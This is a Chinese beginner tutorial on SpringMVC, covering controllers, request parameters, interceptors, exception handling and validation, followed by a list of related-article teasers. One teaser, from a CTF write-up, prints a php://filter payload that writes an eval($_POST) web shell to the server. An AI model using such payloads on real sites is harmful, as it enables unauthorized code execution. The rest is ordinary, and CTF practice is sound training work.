【Spring 篇】走进SpringMVC的世界:舞动Web的激情

news2024/11/19 5:34:23

在这里插入图片描述

嗨,亲爱的小白们!欢迎来到这篇关于SpringMVC的博客,让我们一起探索这个舞动Web的框架,感受它带来的激情和便利。在这个世界里,我们将学到SpringMVC的概述、开发步骤以及如何快速入门,一切都是如此的令人兴奋。

踏上舞台:SpringMVC概述

在我们深入了解SpringMVC之前,让我们先简单了解一下它是什么。SpringMVC是Spring框架的一个模块,用于构建Web应用程序。它采用了经典的MVC(Model-View-Controller)设计模式,将应用程序划分为三个主要的组件:

  • Model(模型):负责处理数据逻辑,与数据库交互,提供数据给View展示。
  • View(视图):负责用户界面的展示,将Model提供的数据呈现给用户。
  • Controller(控制器):负责处理用户请求,调用Model获取数据,并将数据传递给View展示。

SpringMVC通过这种分层的方式,使得我们能够更清晰地组织和管理代码,提高了应用程序的可维护性。

舞动的步伐:SpringMVC开发步骤

1. 项目初始化

首先,我们需要创建一个新的SpringMVC项目。可以使用Spring Initializr(https://start.spring.io/)来初始化一个基本的Spring Boot项目。选择你需要的配置,点击"Generate"下载项目压缩包,解压后导入到你喜欢的集成开发环境中。

2. 添加SpringMVC依赖

pom.xml文件中,添加SpringMVC的依赖:

<dependencies>
    <!-- ...其他依赖 ... -->
    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-web</artifactId>
    </dependency>
</dependencies>

这个依赖包含了构建基本的SpringMVC应用所需的一切。

3. 创建一个简单的Controller

src/main/java/com/example/demo目录下,创建一个名为DemoController.java的类,用于处理Web请求:

import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;

@Controller
public class DemoController {

    @GetMapping("/hello")
    public String hello(Model model) {
        model.addAttribute("message", "Hello, SpringMVC!");
        return "hello";
    }
}

这个简单的Controller定义了一个/hello的GET请求,返回一条简单的问候语。

4. 创建一个显示结果的View

src/main/resources/templates目录下,创建一个名为hello.html的HTML文件,用于展示Controller返回的数据:

<!DOCTYPE html>
<html>
<body>

<h2 th:text="${message}"></h2>

</body>
</html>

5. 启动应用

在项目的根目录下执行以下命令启动应用:

./mvnw spring-boot:run

或者在集成开发环境中直接运行DemoApplication.java中的main方法。

打开浏览器访问:http://localhost:8080/hello,你将看到页面上显示着"Hello, SpringMVC!"。

至此,我们已经成功完成了一个简单的SpringMVC应用的开发。接下来,让我们更深入地了解一下SpringMVC的一些核心概念。

感受激情:快速入门SpringMVC

1. 请求映射

在SpringMVC中,我们通过@RequestMapping注解来定义Controller处理的请求映射。例如,我们想要处理一个路径为/greet的GET请求,可以这样写:

@GetMapping("/greet")
public String greet() {
    return "greet";
}

这里,我们使用了@GetMapping注解,表示处理GET请求。返回值为字符串"greet",它将会被解析为视图名称,系统将会找到名为greet.html的模板文件。

2. 请求参数

在处理请求时,我们常常需要从URL中获取参数。SpringMVC提供了多种方式来接收请求参数,最简单的方式是直接将参数添加到方法的参数中:

@GetMapping("/greet")
public String greet(@RequestParam String name, Model model) {
    model.addAttribute("message", "Hello, " + name + "!");
    return "greet";
}

在这个例子中,我们通过@RequestParam注解将name参数绑定到方法的参数中。当我们访问/greet?name=John时,name参数将被设置为"John"。

3. 路径变量

有时候,我们希望从URL路径中提取参数。这时,我们可以使用路径变量(Path Variable)。例如,我们想要处理类似/greet/{name}的URL:

@GetMapping("/greet/{name}")
public String greetWithPathVariable(@PathVariable String name, Model model) {
    model.addAttribute("message", "Hello, " + name + "!");
    return "greet";
}

在这个例子中,我们使用@PathVariable注解将路径中的name提取出来,传递给方法参数。当我们访问/greet/John时,name参数将被设置为"John"。

4. 请求体

有时候,我们需要从请求体中获取数据。例如,处理POST请求时,我们可以通过@RequestBody注解将请求体的内容绑定到方法参数:

@PostMapping("/update")
public String update(@RequestBody User user) {
    // 处理User对象
    return "update-success";
}

在这个例子中,我们期望客户端发送一个JSON格式的User对象到/update路径。SpringMVC将自动将请求体中的JSON数据转换为User对象,传递给方法。

5. 视图解析器

SpringMVC使用视图解析器来将Controller返回的逻辑视图名称解析为实际的视图。默认情况下,Spring Boot使用Thymeleaf作为模板引擎,所以我们可以在src/main/resources/templates目录下创建相应的HTML文件,Spring Boot会自动识别并渲染。

6. 拦截器

拦截器允许我们在Controller处理请求前或者请求后执行一些额外的逻辑。我们可以创建一个拦截器类,实现HandlerInterceptor接口,并在配置中注册。

public class DemoInterceptor implements HandlerInterceptor {

    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) {
        // 在请求到达Controller之前执行
        System.out.println("Pre Handle method is Calling");
        return true;
    }

    @Override
    public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) {
        // 在请求处理之后但视图未渲染前执行
        System.out.println("Post Handle method is Calling");
    }

    @Override
    public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) {
        // 在视图渲染之后执行
        System.out.println("Request and Response is completed");
    }
}

在配置类中注册拦截器:

@Configuration
public class WebConfig extends WebMvcConfigurerAdapter {

    @Bean
    public DemoInterceptor demoInterceptor() {
        return new DemoInterceptor();
    }

    @Override
    public void addInterceptors(InterceptorRegistry registry) {
        registry.addInterceptor(demoInterceptor());
    }
}

7. 异常处理

在SpringMVC中,我们可以通过@ExceptionHandler注解来处理Controller内部抛出的异常。在全局范围内,我们可以创建一个@ControllerAdvice注解的类,用于集中处理所有Controller的异常。

@ControllerAdvice
public class GlobalExceptionHandler {

    @ExceptionHandler(Exception.class)
    public String handleException(Exception e) {
        // 处理异常并返回错误页面
        return "error";
    }
}

8. 文件上传

处理文件上传是Web应用中常见的需求。SpringMVC提供了MultipartFile类来接收上传的文件,同时我们可以使用@RequestParam注解来绑定文件参数。

@PostMapping("/upload")
public String handleFileUpload(@RequestParam("file") MultipartFile file, Model model) {
    // 处理文件上传逻辑
    return "upload-success";
}

9. 表单验证

在SpringMVC中,我们可以使用@Valid@ModelAttribute注解来进行表单验证。定义一个简单的实体类,加上验证注解,如@NotNull@Size等,然后在Controller方法参数上使用@Valid注解。

@PostMapping("/register")
public String register(@Valid @ModelAttribute User user, BindingResult bindingResult) {
    if (bindingResult.hasErrors()) {
        // 处理验证失败的逻辑
        return "registration-form";
    }
    // 处理注册逻辑
    return "registration-success";
}

小结:舞动SpringMVC的激情

在这篇博客中,我们深入学习了SpringMVC的概述、开发步骤和快速入门。通过项目初始化、添加依赖、创建Controller和View,我们成功搭建了一个简单的SpringMVC应用。随后,我们学习了请求映射、请求参数的处理方式,以及如何使用路径变量、处理请求体等高级功能。

除此之外,我们还感受了拦截器的力量,学会了如何处理异常、实现文件上传和表单验证等实用功能。SpringMVC为我们提供了丰富而强大的功能,使得我们能够轻松构建高效、安全且易于维护的Web应用。

希望这篇博客能够激发你对SpringMVC的兴趣,让你在这个舞台上舞动的更加从容。如果你有任何问题或想要分享自己的经验,欢迎在评论区留下你的足迹。让我们一起沉浸在SpringMVC的激情世界,创造出更加出色的Web应用吧!💃🌐

作者信息

作者 : 繁依Fanyi
CSDN: https://techfanyi.blog.csdn.net
掘金:https://juejin.cn/user/4154386571867191

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1384675.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

数据分析实战丨基于flask+pygal可视化分析sqlite中的数据

文章目录 写在前面实验目标项目框架实验内容1.配置实验环境2.查看sqlite3数据库的数据3.创建项目文件4.编写代码5.运行项目 运行结果写在后面 写在前面 本期内容&#xff1a; 基于FlaskPygal可视化分析Sqlite3中的数据 实验环境&#xff1a; pythonpygalflask 项目下载地址…

Cocos 使用VsCode调试-跨域问题

解决方案&#xff1a; 在添加完debug配置后 在项目文件夹中打开vscode然后找到launch.json 这个runtimeArgs参数在原本的配置中是没有的,给他添加上去 "runtimeArgs": ["--disable-web-security" ] 原理: 禁用浏览器跨域检查&#xff08;仅用于调试&…

msvcp140.dll丢失的常见问题,msvcp140.dll丢失的几种解决办法分享

在电脑系统中&#xff0c;msvcp140.dll是一个重要的系统文件&#xff0c;其作用是为应用程序提供所需的功能和支持。然而&#xff0c;有时候我们可能会遇到msvcp140.dll文件丢失的情况&#xff0c;导致我们无法正常使用某些程序或游戏。本文将介绍msvcp140.dll丢失的常见问题、…

polar CTF 写shell

一、题目 <?php /*PolarD&N CTF*/highlight_file(__FILE__);file_put_contents($_GET[filename],"<?php exit();".$_POST[content]);?>二、解题 payload ?filenamephp://filter/convert.base64-decode/resourceshell.php #<?eval($_POST[1]);…

openGauss学习笔记-197 openGauss 数据库运维-常见故障定位案例-分析查询语句是否被阻塞

文章目录 openGauss学习笔记-197 openGauss 数据库运维-常见故障定位案例-分析查询语句是否被阻塞197.1 分析查询语句是否被阻塞197.1.1 问题现象197.1.2 原因分析197.1.3 处理办法 openGauss学习笔记-197 openGauss 数据库运维-常见故障定位案例-分析查询语句是否被阻塞 197.…

【LV12 DAY17-18 中断处理】

GPX1_1是外部中断9 EINT9 查询可知其中断ID是57 所以需要进行人为修正lr的地址 sub lr&#xff0c;lr&#xff0c;#4 //iqr异常处理程序 irq_handler: //IRQ异常后LR保存的地址是被IRQ打断指令的下一条再下一条指令的地址&#xff0c;所以我们需要人为进行修正一下sub LR,L…

Linux下如何快速调试I2C设备

Linux下如何快速调试I2C设备 目录 1 什么场景下需要快速调试I2C设备 2 如何快速调试I2C设备 3 如何获取I2C Tools工具集 3.1 获取I2C Tools工具集源码 3.2 编译I2C Tools工具集源码 3.3 为设备添加I2C Tools工具集 4 如何使用I2C Tools工具集 5 小结 1 什么场景下需要快…

vue2配置教程

5.12.3 Vue Cli 文档地址: https://cli.vuejs.org/zh/ IDEA 打开项目&#xff0c;运行项目

堆排序——高效解决TOP-K问题

. 个人主页&#xff1a;晓风飞 专栏&#xff1a;数据结构|Linux|C语言 路漫漫其修远兮&#xff0c;吾将上下而求索 文章目录 引言什么是堆&#xff1f;建堆堆排序&#xff1a;排序的最终结果 堆排序实现函数声明交换函数 Swap下沉调整 DnAdd堆排序函数 HeapSort主函数 文件中找…

day-09 删除排序链表中的重复元素

思路 从前往后遍历链表&#xff0c;当当前节点的值与下一个节点值相等时&#xff0c;删除下一节点&#xff1b;否则向后移动一个节点&#xff0c;继续遍历 解题方法 while(p!null&&p.next!null){ if(p.next.valp.val)p.nextp.next.next;//当前节点的值与下一个节点值相…

WorkPlus卓越的即时通讯工具,助力企业提升工作效率

在当今快节奏的商业环境中&#xff0c;高效沟通和协作是企业成功的关键。而即时通讯作为实现高效沟通的利器&#xff0c;成为了现代企业不可或缺的一部分。作为一款领先的即时通讯工具&#xff0c;WorkPlus以其卓越的性能和独特的功能&#xff0c;助力企业打造高效沟通和协作的…

Docker实战07|Docker增加容器资源限制

上一篇文章中&#xff0c;讲解了Docker run的具体流程以及Docker是如何改变PID为1的底层原理。 具体文章可见《Docker就应该这么学-06》 有需要的小伙伴可以回顾一下。 接下来本文会详细介绍一下Docker 是如何增加容器的资源限制 增加容器的资源限制 获取代码 git clone …

Python之循环判断语句

一、if判断语句 1. if...else if 条件: 满足条件时要做的事情1 满足条件时要做的事情2 ...... else: 不满足条件时要做的事情1 不满足条件时要做的事情2 ...... # -*- coding:utf-8 -*- age input("请输入年龄:") age int(age) if age > 18:print("已经成…

C# 导出EXCEL 和 导入

使用winfrom简单做个界面 选择导出路径 XLSX起名字 打开导出是XLSX文件 // 创建Excel应用程序对象Excel.Application excelApp new Excel.Application();excelApp.Visible false;// 创建工作簿Excel.Workbook workbook excelApp.Workbooks.Add(Type.Missing);Excel.Works…

【PlantUML】- 时序图

写在前面 本篇文章&#xff0c;我们来介绍一下PlantUML的时序图。这个相对类图来讲&#xff0c;比较简单&#xff0c;也不需要布局。读完文章&#xff0c;相信你就能实际操作了。 目录 写在前面一、基本概念二、具体步骤1.环境说明2.元素3.语法4.示例 三、参考资料写在后面系列…

DNS分离解析

一、介绍 分离解析的域名服务器实际也是主域名服务器&#xff0c;这里主要是指根据不同的客户端提供不同的域名解析记录。比如来自内网和外网的不同网段地址区域的客户机请求解析同一域名时&#xff0c;为其提供不同的解析结果&#xff0c;得到不同的IP地址。 DNS的分离…

基于Java SSM框架实现企业车辆管理系统项目【项目源码】

基于java的SSM框架实现企业车辆管理系统演示 JSP技术 JSP技术本身是一种脚本语言&#xff0c;但它的功能是十分强大的&#xff0c;因为它可以使用所有的JAVA类。当它与JavaBeans 类进行结合时&#xff0c;它可以使显示逻辑和内容分开&#xff0c;这就极大的方便了运动员的需求…

Transformer如何工作

Transformer如何工作 Transformer工作可以分为两个阶段&#xff1a;Inference&#xff08;推理&#xff09;和Training&#xff08;训练&#xff09; ​ ​​​ ‍ ‍

尼科彻斯定理----C语言

大家好我是Beilef许久未见了&#xff0c;小弟学校考试刚结束。这个过程懂的都懂。痛------ 文章目录 目录 文章目录 前言(一不好懂可以直接跳到二&#xff09; 一、尼科彻斯定理是什么&#xff1f; 二、尼科彻斯定理解析 这是ai的回答 尼科彻斯定理&#xff08;Nikomačs theor…

JS 作用域和预解析

作用域 通常来说&#xff0c;一段程序代码中所用到的名字并不总是有效和可用的&#xff0c;而限定这个名字的可用性的代码范围就是这个名字的作用域。作用域的使用提高了程序逻辑的局部性&#xff0c;增强了程序的可靠性&#xff0c;减少了名字冲突。 作用域分为全局作用域和局…